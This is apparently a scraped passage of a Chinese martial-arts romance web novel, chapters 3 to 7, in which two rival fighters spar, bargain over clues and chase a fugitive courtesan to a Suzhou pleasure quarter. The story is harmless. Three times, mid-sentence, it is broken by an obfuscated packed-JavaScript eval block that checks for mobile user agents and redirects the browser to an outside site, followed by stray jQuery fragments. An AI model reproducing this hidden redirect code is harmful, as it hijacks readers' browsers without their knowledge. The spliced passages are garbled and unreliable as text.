话音落,盛清歌一掌劈向沈岁宁,柜台上的酒坛应声而碎,而沈岁宁一个轻盈的后翻避开,站在桌子上笑看盛清歌:“这个小娘子脾气真大,在下喜欢!”
“少废话!”
盛清歌一掌内力送去一坛酒,闻声下楼的沈凤羽见状,抬脚勾了把凳子飞踢过去,坛子在半空中被震碎,酒哗啦啦落了一地。
盛清歌笑,“早就听闻没有漱玉山庄取不了的东西!妾身贱命一条,且看二位有没有这个本事!”
“且慢!”沈岁宁急急喊停,“我们不是来取你性命的!”
“这话留着骗阎王爷去吧!”
几人打斗的时候,贺寒声的马车也在靠近。
听到动静,江玉楚立刻握紧腰上佩剑,“公子,当心了!”
话毕,江玉楚狠狠踹了脚马屁股,马凄厉出声,飞快奔向客栈,马车即将撞翻的一瞬间,车身爆裂,主仆二人纵身跃上围墙,跳进了客栈后院的马棚。
江玉楚愣了一瞬,指着马棚里的一匹马,“公子,您的汗血宝马!”
“当心!”
客栈里打斗的声音此起彼伏,贺寒声正要进去一探究竟,突然客栈所有门窗齐齐打开,几股白烟顺势喷出,烟雾瞬间笼罩了整个客栈。
贺寒声猝不及防呛了一口,跟着察觉到有人从门里出来,他立刻纵身迎上,与对面击了一掌。
察觉到敌意后,双方在浓烟中缠斗起来,听到动静的江玉楚立刻加入。
打了几个回合后,浓烟渐渐散了些,双方这才看清对面,纷纷愕然:“是你!”
沈岁宁气极反笑,指着贺寒声半天说不出话来,只同沈凤羽说:“你去追,她刚跑不远。”
“是!”
沈凤羽立刻翻身上马,江玉楚紧随其后,穷追不舍。
而原地站定的贺寒声向沈岁宁作揖,皮笑肉不笑,“又见面了,翠花姑娘。”
4. 第4章
第4章
“你有病!”
沈岁宁懒得同贺寒声废话,眼下追到盛清歌才最要紧。
她一掌劈过去,贺寒声侧身避开,伸手扣住她手腕,反身一个过肩摔,将沈岁宁按在了雪地里。
沈岁宁气得哇哇大叫:“你不讲武德!”
“技不如人便要多练,光逞口舌之能算什么本事?”
贺寒声将沈岁宁的胳膊反扣在地上,膝盖压住她的腿,笑,“翠花姑娘,这回可愿认输了?”
“认认认!你松手我胳膊快断了!”
所谓识时务者为俊杰,沈岁宁向来能屈能伸,立刻缴械投降。
贺寒声这才满意松手,起身掸了掸身上的积雪,优雅自如。
躺在雪地里的沈岁宁仰身坐起,没好气问:“你怎么知道是我?我明明都乔装易容了。”
“在下不瞎不傻,认个人还是不难吧?”
沈岁宁抓起一把雪扔过去,咬牙切齿,“你药效退得还挺快,这就能动了。”
“托翠花姑娘的福,”贺寒声微笑着躲开,“在下身体尚可,一切安好。”
沈岁宁白他一眼,“你一口一个翠花姑娘,倒是叫得亲热。那你又叫什么名儿啊?”
“在下……”贺寒声顿了顿,缓缓吐出三个字:“王铁柱。”
“……”沈岁宁嘴角抽搐,“这名儿……好生别致。”
“哪里?不如翠花妹妹,会玩。”
在地上坐得有些冷了,沈岁宁撑着胳膊站起来,拍了拍手上的积雪,“咱们呢,也算是不打不相识。既然都称呼我为妹妹了,那我不妨给铁柱哥哥你透个信儿。”
贺寒声微微俯身,“洗耳恭听。”
沈岁宁凑上前,踮起脚尖,深吸一口气:“烟里有毒。”
贺寒声:“……”
“说完了,不用谢,你自己好好提防……”
话没说完,贺寒声便直挺挺地往前倒了过去,在雪地上砸出一个人形巨坑。
“……”沈岁宁拍了拍额头,尴尬一笑:“迟了。”
而这个时候,沈凤羽扛着同样毒发昏迷的江玉楚,气喘吁吁地站在了客栈门口。
……
贺寒声再次醒来的时候已是后半夜。
他躺在客栈的木榻上,旁边的蜡烛早已燃尽,炭劈里啪啦地烧着,映着些许光亮,窗户开了一扇,门也虚掩着,而江玉楚躺在他旁边,依旧不省人事。
贺寒声深吸一口气,起身舀了一杯水,哗地泼在江玉楚脸上。
“……”江玉楚懵懵睁眼,眼里清澈迷茫。
“起了。”
江玉楚猛然弹坐起来,单膝跪地,“属下该死。”
“无妨。”
贺寒声强压着火气,懊恼自己接二连三着了道,白白耽误时间。
江玉楚这才站起身。
他方才昏倒时从马上摔下来,这会儿一瘸一拐的,所幸没有受太重的伤。
“公子,这有东西。”江玉楚掌了灯后,看到桌上用帕子包起来的东西,上面歪七扭八写着“解药”二字。
江玉楚迟疑着没敢打开,转过头问贺寒声:“公子,您看……”
贺寒声没说话,抬手一挥,那帕子被掀开,里面包裹着的是一些黑乎乎的草药渣滓,除了卖相难看了些,似乎并无异常。
江玉楚上前捻了点药渣在掌心弄碎,又放进嘴里尝了尝,“公子,这个没毒。”
贺寒声走到桌前,将帕子抽出翻来覆去地检查,并没有发现其他可疑的地方。
只是帕子背面画了个翻白眼的表情,以及四个大字:爱信不信。
贺寒声:“……”
“先收起来吧。”贺寒声把帕子攥紧在掌心,发现炭盆边上也留了字迹:炭三斤,八文。
他四下察看,发现字迹远不止这些。
茶叶两钱,一文。
马草五十斤,两文。
客房一间,三百文。
小二看护,十文……
“上个茅房的功夫,您二位可算是醒了。”外边店小二打着哈欠进来,“哪位跟我来结一下账?结完我好去睡觉,困死了。”
“结账?”
“对,那两位走得急,一分钱没给,只交代我把你们扛回房间好好看着,等你们醒了管你们要钱,除了住房费,还有你们打斗时毁坏的桌椅板凳,一共……算你们一两银子,”没睡觉的店小二极度不耐烦,伸手道:“谁给?”
贺寒声:“……”
……
三天后。
沈凤羽一大早跑到妙音阁来找人,掌柜的早已轻车熟路,直接领着她去了角落里的房间。
房间里,扮成男装的沈岁宁整和四五个姑娘调笑着,姑娘们争先给她喂酒,她倒是一碗水端平,个个都毫不犹豫地喝下了。
她换了张俊脸,剑眉星目,加上天然优越的高鼻梁,扮作男相竟然毫无违和感,而那双脉脉含情的桃花眼搭配着她调情的话,一下子便将人迷得七荤八素的。
沈凤羽叹气,不知这丫头的风流性子究竟是随了谁。
“哟,你今儿来得这么早啊。”沈岁宁看到沈凤羽来了,松开怀里的姑娘,那姑娘顿时面露委屈,惹得沈岁宁直笑,张嘴吃下了姑娘喂的一瓣橘子,轻声哄道:“一会儿再找你们,乖。”
沈凤羽看得浑身直起鸡皮疙瘩。
把人都打发走后,沈岁宁终于止不住暴露本性,抄起茶壶猛灌了几口,“太香了都太香了,她们五个人五种香,我快被呛死了。”
“这要是有人想给你下毒,一毒一个准。”
沈凤羽鄙夷了一眼,默默将窗子打开,顺手往炭盆里扔了一把去香的药草。
沈岁宁嘴里含着茶水漱口去酒气,没说话,眼睛直勾勾地盯着沈凤羽。
沈凤羽瞬间明了,在她面前坐下,“都打听好了。盛清歌确实来过这个小镇,她在逃亡路上受了伤,想避避风头,但她江南第一美人的名头太响,哪怕之前受过万花楼的恩惠,这镇上的姑娘们也不敢收留她,所以她并没有在这里停留太久,而是马不停蹄地往苏州逃命去了。”
“以她现在的处境,到了苏州就有人敢收容她了?”沈岁宁吐掉口中茶水,轻轻蹙眉,“不对,苏州……难道她要去千春坊找宋三娘?”
“她若去了苏州,没准千春坊是她唯一活命的机会,毕竟现在有好几拨人在追杀她,她又不信咱们,”沈凤羽顿了顿,有些迟疑,“可是……她会轻易信任宋三娘吗?”
沈岁宁按着太阳穴,感觉脑瓜子嗡嗡的。
她努力让自己静下心来,“妙音阁的姑娘说,盛清歌在来江南之前,曾在华都呆过一段时间,还和当朝驸马有过一段说不清道不明的关系。”
“这么劲爆?”沈凤羽的八卦之心熊熊燃烧,立刻追问:“是哪个公主的驸马?这么大的胆子,连皇帝的女儿都敢戴绿帽子。”
“好像是……蔽月公主?”
沈岁宁有些不确定。
牵扯到朝中权贵的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583810|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情,一概都是漱玉山庄的禁区,刚刚偶尔听人谈起,沈岁宁也没有过多追问,若是要杀盛清歌的人真是朝廷中的,那她可就打道回府了。
两人合计着能搜罗的消息都已经了解得差不多了,是时候计划下一步了。
“咱先说个正事儿啊,”沈凤羽熟练地从怀里掏出账簿,掰着手指盘算,“这三天,除了你在妙音阁花的钱,我还去了三家茶馆、两家酒楼、五家客栈,还有街头巷尾数不清的小摊,费了好大的功夫。这些花销,总不能算我头上吧?还有我们下一步计划去的苏州千春坊,那可是出了名的销金窟,宋三娘可不会买你的面子,你得提前盘算好,给我点钱。”
沈岁宁脸色顿时阴沉,拍回沈凤羽的手,“要钱没有,一分都没有。”
“我说你这人,”沈凤羽气笑出声,“堂堂少主,能不能别老这么抠搜?出门在外,我都嫌丢人。”
沈岁宁冷笑一声,顺手抓了把瓜子,“说得轻巧,上头又不给钱,全靠我自个儿顶着,你以为我挣点钱容易?”
“用词准确点,是‘骗’。”
沈岁宁气得瓜子也不吃了,连着盘子扔了过去。
沈凤羽笑着伸手挡开,瓜子哗哗散落一地。
不过玩笑归玩笑,真要跑到苏州去,不论是住宿、路费、餐饮,还是任务途中可能产生的其他不可预知的支出,都不会是一笔小数目,确实得精打细算些。
“喂,凤羽,”沈岁宁不知看到了什么,朝窗户外边抬了抬下巴,笑颜渐开,“马上有钱了。”
沈凤羽顺势望过去,就看到窗外楼下走过两个熟悉的……冤大头。
……
贺寒声和江玉楚走在大街上,全然不知自己成了待宰羔羊。
“公子,属下沿途打听,确定盛清歌两天前来过此镇,似乎还……有伤在身。”江玉楚把探听到的情况一五一十地说给贺寒声听。
近来天气不佳,雪断断续续下了两日,郊外的路结了层厚厚的冰,车马难行。
江玉楚想了想,“公子,恕属下直言,盛清歌负了伤,必然是与其他追捕她的人马发生冲突,这样一来她恐怕也难以信任我们。属下想,不如……”
话说到一半,两人察觉到身后有人,瞬间警惕起来。
江玉楚转身挡在贺寒声身前,沉声问:“什么人?”
贺寒声缓缓回过头,就看到已换回女装、包裹得格外严实的沈岁宁提着衣裙小跑着过来,娇滴滴地喊了声:“铁柱哥哥~”
江玉楚:“?”
沈凤羽:“?”
饶是见惯了类似场面的沈凤羽,也差点一个踉跄。
江玉楚不可思议地看了看沈岁宁,又望向自家公子,声音都变了调,“铁……什么?”
当事人贺寒声淡定得很,点头回应:“翠花妹妹。”
沈凤羽、江玉楚:“……”
两人虽不理解,但还是默默担心起自家少主/公子的精神状态。
沈岁宁小跑到贺寒声跟前,由于路滑,顺势扶了下贺寒声的胳膊,便也不撒手了,含笑凑到他耳边说:“我有笔买卖想同哥哥做做,不知铁柱哥哥意下如何?”
“哦?”贺寒声满眼警觉,面上配合一笑,“翠花妹妹说来听听。”
“关于盛清歌的下落和她的下一步行动,”沈岁宁伸出三根手指,狮子大张口,“三锭黄金。”
贺寒声:“……”
“翠花妹妹,”贺寒声咬牙微笑,“三锭黄金,你怎么不直接抢呢?”
5. 第5章
第5章
“妹妹知道哥哥大方,但妹妹这不是抢不过吗?”沈岁宁一边恭维着贺寒声,一边观察他的神情变化。
奈何,贺寒声这人表情管理能力极强,硬是没让沈岁宁瞧出丁点破绽来。
“那……一锭?一锭也行,就当妹妹我送你个人情,”沈岁宁退了一步,“这消息可是我费了整整三天才打听到的呢,绝对物超所值。哥哥你要不在我这儿买,自个儿去打听可不一定打听得到哦。”
贺寒声不为所动,似乎在琢磨眼前这个带着人皮面具、用着假身份的姑娘的可信度。
据贺寒声得到的消息,漱玉山庄收了大价钱要取盛清歌的命,可眼前这位漱玉山庄的“翠花妹妹”行事,却似乎与这个信息背道而驰——
她既收钱买命,何必要将盛清歌的下落这样重要的线索卖给自己?
见贺寒声久久不说话,疑似兴致不高,沈岁宁有些急了,“要不……你出个价?”
贺寒声思索着,顺着沈岁宁给出一个价:“二十两白银。”
“白银?才二十两?!”沈岁宁瞪大眼睛,这点钱压根都不够在千春坊逛一圈的。
贺寒声“嗯”了声,“你若嫌少,就算了。”
“哎,等等,”沈岁宁抱住贺寒声的胳膊,闭了闭眼,“多给点,五十两成不?”
贺寒声没搭理她,抽出胳膊就要走。
“不成吗?那那那……三十两?欸,再多十两都不成啊?”
沈岁宁追着贺寒声小跑了一路,从街头到街尾,硬是没讲多出一文钱。
秉着苍蝇再小也是肉的原则,沈岁宁咬咬牙,“行行行,算我给你友情价,二十两就二十两!”
贺寒声这才停下脚步,转头继续同沈岁宁谈条件:“二十两银子,你告诉我盛清歌的下落,附带回答我三个问题。”
“不是,哪有你这样做买卖的?价钱谈好了开始讲条件?”沈岁宁气笑,行走江湖这么多年,今儿算是遇到比她还抠搜的奸商了。
“不同意?那算了。”贺寒声转身就走。
有道是一分钱难倒英雄汉,沈岁宁想到这些天的花销和未来可预见的支出,彻底被这眼前唾手可得的二十两银子拿捏。
挣扎片刻后,沈岁宁握了握拳头,咬牙应下:“行,成交了!”
……
买卖成了,双方约定在一座茶楼的三层雅间,江玉楚和沈凤羽守在门口。
沈岁宁如约告知了盛清歌要去苏州避难的消息。
“千春坊?宋三娘?”贺寒声蹙眉,他从未听过这号人物。
沈岁宁解释:“千春坊和万花楼一样,是江南有名的风月地,同时也盘桓着江湖势力。千春坊的场地更大,大约是万花楼的十好几倍,分作东、南、西、北、中五苑和春、夏、秋、冬四馆。除此之外,它还涉及到诸如地下赌场这类灰色产业。并且,由于千春坊没有坊主,几位掌柜的各自经营,规矩不尽相同,而宋三娘周旋于几位掌柜之间,算是个能说得上话的人。”
这些消息,贺寒声知道得确实不如沈岁宁多和准确,尤其涉及到盛清歌这样行走江湖的风尘女子,没有足够的信息来源,这确实也让贺寒声的行动多了许多困难和麻烦。
沉思片刻后,贺寒声问:“盛清歌和宋三娘是什么关系?”
沈岁宁挑眉一笑,“这是你要问我的三个问题之一?”
“不是。”
“那我不想告诉你了,”沈岁宁停顿片刻,“除非你加钱。”
“那算了。”贺寒声直接回绝,不给沈岁宁周旋的机会,“我现在开始问,三个问题,你要如实回答。”
沈岁宁警觉:“涉及到身份机密的问题我可不保证真假。”
“放心,我知道你们的规矩。”
“其他问题我也有权不回答。”
“可以。”
沈岁宁这才放心些,撑着下巴懒懒倚在桌前,“那你问,答不答看心情。”
贺寒声不假思索,“你先告诉我,你们的任务是不是要除掉盛清歌?”
听了这话,沈岁宁瞬间坐直了身子,神色也严肃许多。
“这也不能说?”
“倒也不是,”沈岁宁想了想,“但你要保证,不管我的回答是什么,你日后都不能妨碍我。”
“行。”
“君子协定?”
“君子协定。”
沈岁宁沉思片刻,如实告知:“不是。”
跟着她立刻补充:“如果你们是要杀她,也得让我跟她把事情办好才行。”
“没问题,”贺寒声隐瞒了自己并不是要杀盛清歌的事情,“你们和盛清歌的这件事情是否涉及到其他第三方?”
“回答不了,下一个。”
“那我换一个,”贺寒声思考了一会儿,“如果盛清歌死了,你要办的这件事会终止吗?”
“不出意外的话,是的。”沈岁宁顿了顿,补道:“但这不是你出尔反尔的理由哦。行走江湖,信誉可是顶顶要紧的。”
贺寒声笑了,他看着坐在对面的沈岁宁,莫名觉得这女子竟有几分可爱。
“笑什么?”
贺寒声摇摇头,脑子里突然冒出来一个与前两个毫无关联的问题,“你今日怎么不遮脸了?不怕被我看见?”
沈岁宁愣住,感到有几分莫名其妙,“这是第三个?”
“算是。”
“这么无聊的问题,也值得你问。”沈岁宁笑出声,倒也认真思索了起来,“大约是因为,近期咱俩交手的机会还多得很,你迟早会看到。而这种欲盖弥彰的麻烦事,我向来是不愿意做的。”
“行。”
贺寒声打了个响指,外面江玉楚便抱了个盒子放在桌上。
贺寒声把盒子推向沈岁宁,意味深长地笑了笑,“那,交易愉快。”
盒子沉甸甸的,沈岁宁见了,顿时喜笑颜开。
“铁柱哥哥爽快,”沈岁宁把盒子抱在怀里掂了掂,十分满意,“不如,我再卖哥哥一个人情。”
沈岁宁敲了敲桌子,沈凤羽便进来递上一卷画轴。
沈岁宁拿去画轴在手中转了转,放在桌子中间,“宋三娘的画像。千春坊家大业大,人员众多,若是没有门道,要找到一个人可不容易。”
贺寒声微微挑眉,“又要加钱?”
“啧,我是这么见钱眼开的人嘛?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583811|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”沈岁宁翻了个白眼,把画轴推向贺寒声,“这张画像,算妹妹送给哥哥的。”
贺寒声欣然接受。
他拿起卷轴摊开,神情顿时凝固。
只见画纸上大小几团墨色,形状各异、浓淡不一,仅有的几根粗犷线条勉强勾勒出了个脸型。
贺寒声:“……”
“翠花妹妹,恕在下眼拙,”贺寒声抬眼,保持微笑,“这画的是人吗?”
“当然,我亲自画的。独家出品,童叟无欺。”
沈岁宁大言不惭,她看到贺寒声微微颤抖的眼角,趁机加码,“你若想要画师的版本,得加钱。也不多,十五两银子就够了。”
贺寒声“啪”地一声合上卷轴。
眼见着对方明显不悦,沈凤羽赶紧解围道:“其实翠花画的这张宋三娘已经挺像的了,铁公子也不是非得另花一笔钱啦。”
“……像?”贺寒声皮笑肉不笑,“你们觉得我是傻子吗?”
“真的真的,你去到苏州,见到宋三娘就知道了,我俩说的绝对大实话。”见情况不太妙,沈凤羽赶紧抱起桌上的钱箱子,“好了好了,我们还有事,先告辞啦。”
说完,便拽起沈岁宁溜走了。
沈岁宁离开后,贺寒声坐在桌前深吸几口气,久久未动。
江玉楚忧心忡忡地问:“公子啊,您今日这样好脾气,该不会是……中了她们的媚术吧?”
贺寒声:“……”
“公子,不得不防啊,万一她们给的消息是个陷阱……”
“若是陷阱,她们应该会用更聪明的方式透露给我,犯不着这样大张旗鼓地强买强卖,”贺寒声努力扯了扯嘴角,“至于媚术,你过来。”
贺寒声朝江玉楚勾手,等对方把脸伸过来后,神情瞬间一变,抬手狠狠把他的头按在了桌子上。
“嘭!”
……
从茶楼出来后,沈凤羽终于长舒一口气,“好险好险。”
沈岁宁不悦,甩开她的手,“你干嘛拦我啊??白白少赚十五两,你知道这种遇到冤大头的机会有多难得吗?”
沈凤羽白她一眼,转身就走。
“喂,你这是什么表情啊?”沈岁宁不高兴了,追上沈凤羽,“这么重要的线索才卖二十两银子,你不觉得咱亏大了吗?”
“我更担心你的小命啊!”
沈凤羽停住脚步,深吸一口气,“少主,就算咱现在再缺钱花,你也不能什么线索都拿去卖吧?对方来路不清,明显也不是个傻的,他问那三个问题的时候,我都替你捏把汗!”
沈岁宁鲜少见沈凤羽这样的态度,愣了愣,一时语塞,摆摆手,“罢了罢了,本也是意外之财,多多少少也比没有的好。”
两人在街上走着,沈凤羽抱着盒子一言不发,显然还在生闷气。
沈岁宁想了想,给彼此找了个台阶,“那个……要不你先拿这些钱,把妙音阁的账给平了?”
“何止是妙音阁啊?”
沈凤羽顺着台阶就下,想到这几日的账目,颇有几分伤脑筋。
两人回到妙音阁,沈凤羽打开贺寒声给的盒子,里面赫然装着几块沉甸甸的碎石头。
6. 第6章
第6章
七天后,苏州。
贺寒声按照沈岁宁提供的信息来到千春坊。
进入千春坊的无论是宾客还是小厮,每个人腰上都悬挂着一块牌子,若无腰牌,则视为外来者,会被赶出去。而由于千春坊有五苑四馆,每块牌子能进入的场馆也有所不同,价钱上自然也有差异。
掌柜介绍道:“坊内的腰牌都是木制,上面雕了不同季节的花,以花为凭方可进入春夏秋冬四馆,又绘有四大神兽,代表不同方位的四苑。中苑可以任意进出。除了中苑,客人最多能再进到两个地方。腰牌只是通行凭证,不限使用次数,初次购得须得登记,如果之后需要进入其他场馆可用旧腰牌换取新的,场馆内所有消费均得由客官自行解决。”
贺寒声并不知道宋三娘在哪一个场馆,只好问掌柜:“哪块牌子可以去所有的地方?”
掌柜迟疑片刻,随即从身后的柜子里拿出两块玉牌,“整个千春坊只此两枚玉貔貅,可以去任意地方。当然,价钱也就贵了些。这一只貔貅,价值三十两白银,而最贵的木腰牌只需二两白银。如果客官是因第一次来想四处看看,小的可以安排人带二位参观,然后再做决定。”
“不用,就拿两只玉腰牌。”贺寒声给江玉楚递了个眼神,让他来付钱。
千春坊对面不远处的阁楼上,已乔装易容的沈岁宁举着望远镜盯着大门,后槽牙都快咬碎了。
片刻后,沈凤羽翻上阁楼,将怀里的包裹递给沈岁宁,以及两块木腰牌,“喏,苗姐姐连夜做好让人送来的,足以乱真。”
沈岁宁没动,沈凤羽顺着她望的方向看了半天,“你在看什么啊?”
“骗我的那个狗东西。”沈岁宁咬牙切齿。
“他们进去了?”
“嗯。”沈岁宁放下望远镜,抓起腰牌就翻下阁楼,直往千春坊的方向飞去。
沈凤羽赶紧跟上,“喂!你等等我!”
两人均扮了男装,又有腰牌为凭,很顺利便进去了。
进去之后,沈岁宁吩咐沈凤羽:“你去打听盛清歌的下落,不要打草惊蛇。”
沈凤羽点头,“那你当心……”
话音未落,沈岁宁早就不见踪影。
沈凤羽:“……”
另一边,跟在贺寒声身后的江玉楚压低声音问:“公子,方才那掌柜的登记时取的是另一本册子,您觉得……”
尽管用的是假名,但江玉楚还是觉得有些蹊跷,尤其那玉腰牌挂在腰间格外醒目,显得格格不入。
而且,往来的小厮和婢女看到他们都格外热情,他们才刚进来,就有好几个场馆的人要拉他们过去。
如此张扬,压根无法行事。
贺寒声抿紧嘴唇,叮嘱:“尽快找到宋三娘的位置,再去换腰牌。”
“是。”
江玉楚刚转身,就和一个低着头赶路的小厮迎面撞上。
小厮手里端着滚烫的茶水,瞬间撒了江玉楚一身,烫得江玉楚嗷嗷叫,慌忙拍打着被烫到的地方。
“小的该死!小的该死!小的这就领贵客去更衣!”
见小厮跪在地上瑟瑟发抖,江玉楚也不好计较什么,只说:“不用了,下次注意点就是。”
目睹这一切的贺寒声盯着小厮的背影,直觉不对,下一刻就听到江玉楚惊喊出声:“公子,我腰牌不见了!”
贺寒声瞬间反应过来,沉声道:“追!”
沈岁宁偷到腰牌之后,迅速没入人群,她的易容术出神入化,只要藏在了人群当中,压根没人能找到她在哪。
而弄丢了腰牌的江玉楚很快就被赶出了千春坊。
如此一来,贺寒声行动更加艰难,作为场内唯一一个戴着玉腰牌的人,无数双眼睛都盯在他身上。
沈岁宁非常满意这个结果。
她收起玉腰牌,凭着自己的木牌进到南苑的地下赌场。
赌场的人不算太多,但比外头热闹了不少,沈岁宁四处找寻,终于在角落里看到了正在给客人摇骰盅的宋三娘。
宋三娘穿了一身黑,红色细绳系了块木牌坠在腰间,脸上带着半边鎏金面具遮住了右眼,便是看不清容颜,光从气势上也觉得出定是个风情万种的美人。
沈岁宁越看越觉得自己画的宋三娘简直拿捏了精髓,她身上几乎全是黑色。
沈岁宁走到宋三娘旁边,宋三娘摇着骰盅,头也不回,直到骰盅稳稳压在桌子上,她才终于开口:“是沈堂主啊。”
沈岁宁并不掩饰,“三娘好眼力。”
在外头,沈岁宁和沈凤羽是共用碧峰堂堂主这一身份的,两人鲜少同时行动,又都不以真面目示人,因此许多人不知道她们其实是两个人。
“沈堂主气宇非凡,就是换上一千张脸,在人群中也是独树一帜,”宋三娘轻笑,“一眼便能认出。”
“三娘少说些客套话。论起气质,谁又比得过三娘呢?”
两人相互恭维间,一局赌局已经结束,宋三娘将骰盅倒放在桌上,转头看向沈岁宁,“我知道沈堂主来找我是为了什么。看在千春坊与漱玉山庄过往的交情上,我劝沈堂主,不要淌这浑水。”
“若我非要淌呢?”沈岁宁好不避让。
两人对峙片刻,宋三娘反手拿起骰盅摇晃,笑,“那得看沈堂主的本事了。”
“赌场上,我可没输过。”沈岁宁后退两步,伸手去拿筹码。
宋三娘将骰盅放在桌上一推,将筹码盘推走,“不给钱就想拿筹码?”
沈岁宁气笑,“我俩的交情,你跟我谈钱?”
“亲兄弟还得明算账呢,更何况沈堂主名声在外,我怕沈堂主做出些伤感情的事,”宋三娘将筹码盘端走放在一边,“不得不防。”
沈岁宁:“……”
看穿一切的宋三娘眉心一挑,“怎么?沈堂主最近手头有点紧?”
被点破的沈岁宁像是戳中了脊骨似的,语气都变得不耐烦了几分,“先赌两局,我自然就有钱给你了。”
“不行,千春坊有规矩,明码交易,拒绝赊账,”宋三娘直接回绝,“沈堂主还是取了钱才来吧。”
……
沈岁宁找到贺寒声,发现他并不如自己想象中过得那样“悲惨”。
相反,由于是持有玉腰牌的大金主,千春坊的小厮们见了他都点头哈腰的,谄媚不已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583812|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这会儿贺寒声就躺在中苑飞仙阁的竹椅上,三个小厮给他揉肩捏腿,两个鞍前马后地端茶倒水,别提有多快活了。
沈岁宁进来的时候,里面的小厮不耐烦地驱赶她,“快走快走,客人在休息呢。”
贺寒声脸上盖着本书,惬意得紧,听到声音才抬起头。
书缓缓落下,贺寒声露出半张脸,似笑非笑地打量着小厮打扮的沈岁宁。
然后,贺寒声从怀里掏出一锭银子,道:“你们先去忙别的,让这个新来的伺候我。”
小厮们立马应下:“是是是,公子您有什么需要的,可以随时叫我们。”
沈岁宁快气炸了。
小厮们走后,贺寒声往后一仰,换了个舒服的姿势,“来,给我揉肩。”
揉,揉你大爷!
沈岁宁冷笑着上前,拽着贺寒声的胳膊也把人拉起来。
岂料贺寒声早有防备,应是纹丝不动。
“做什么?”贺寒声明知故问,“店大欺客?”
沈岁宁深吸一口气,把江玉楚的玉腰牌扔给贺寒声,算是摊牌表明身份。
她沉着脸,“你还找不找盛清歌了?赶快起来!”
说着,沈岁宁又拽了一把,这回非但没把贺寒声拽动,自己也差点摔个踉跄。
贺寒声气定神闲地躺着,拿书盖着脸,拍了拍自己的肩膀,示意沈岁宁。
沈岁宁刚要一拳打过去,转念一想,自己真是气昏了头。
她只是需要点钱而已,又不是非得带这人过去。
沈岁宁瞬间想通,立马换了副嘴脸,乖巧上前给贺寒声捏肩膀。
男人的肩膀厚实宽阔,沈岁宁捏着捏着,视线渐渐看向贺寒声腰间的钱袋子上。
“用力点。”
贺寒声的声音拉回了沈岁宁的视线,她气得咬牙,暗暗把贺寒声当作一团面粉,使劲用力地揉。
“这样够不够?”
贺寒声“嗯”了声,满意道:“这样不错。花了钱就该好好享受。”
沈岁宁疯狂翻他白眼。
借着换手的功夫,沈岁宁暗暗往自己袖子里放了一颗迷药,那药无色无味,吸入后不出一刻钟就会睡得比猪还沉。
贺寒声警觉性很高,不把他药倒,沈岁宁根本没有机会拿到他的钱袋子。
一刻钟后,贺寒声的呼吸渐渐均匀,沈岁宁停了手,试探性地“喂”了声。
贺寒声没反应,沈岁宁把他脸上的书拿下来,伸手在他眼前晃了晃,又使劲揪了他的耳朵,见他仍无反应,才放下心来。
“狗东西,居然敢要我伺候你,”沈岁宁越想越气,狠狠地蹂躏贺寒声的脸,“要不是看你皮相尚可,姑奶奶我就把你剁碎了喂狗去!”
泄完愤后,沈岁宁不忘正事,去解贺寒声腰上的钱袋子。
解了半天,那结却越来越紧,沈岁宁越来越没耐心,忍不住低声骂道:“狗东西,几两碎银子系这么紧。”
便是这时,被迷药弄晕的贺寒声突然抬手按住她的,吓得沈岁宁一激灵,一个踉跄,整个人狠狠摔进贺寒声怀里。
“便宜都让你占尽了,还骂人就不好了吧?”
7. 第7章
第7章
沈岁宁意识到自己被耍了,恼羞成怒,挣开贺寒声的手挥过去,被贺寒声握住,反绞在身后。
手被钳制住了,沈岁宁便抬腿屈膝攻贺寒声下盘。
贺寒声灵巧躲开,同时也让沈岁宁挣脱,两人在房间里打了起来。
片刻后,贺寒声捂着嘴角闷哼一声,“抢钱就算了,居然还打脸。”
沈岁宁赶紧后退,靠着墙壁气喘吁吁,看着贺寒声的狼狈模样,不禁有几分得意,“兔子急了还咬人呢。”
她抬手,把从贺寒声钱袋子抢来的几块碎银子往上一抛,又一把接住,“谢了哈。”
“你这人,”贺寒声气笑,“哪有向人借钱这个态度的?”
“借?这分明是你欠我的!”
“翠花妹妹,做人要讲道理。那天在万花楼打碎的东西以及城郊的客栈,你们的花销可都是我垫的。”
“那我还给你们留了解药呢,”沈岁宁鄙夷,“看你人高马大的,想不到心眼儿才这么点。万花楼的东西又不是我一个人打碎的,再说那天我们的客房和要来的木炭都留给你们了,你多出点钱怎么了?”
贺寒声大约从未见过如此厚颜之人,被呛得说不出话来,脖子都红透了。
“带我去找宋三娘。”贺寒声站起身。
“凭什么?”
“你不是缺钱吗?我给你,”贺寒声沉着脸,“带我去。”
沈岁宁乐了,虽然过程不算愉快,但这个结果正中她下怀。
甚至,有些超出预期。
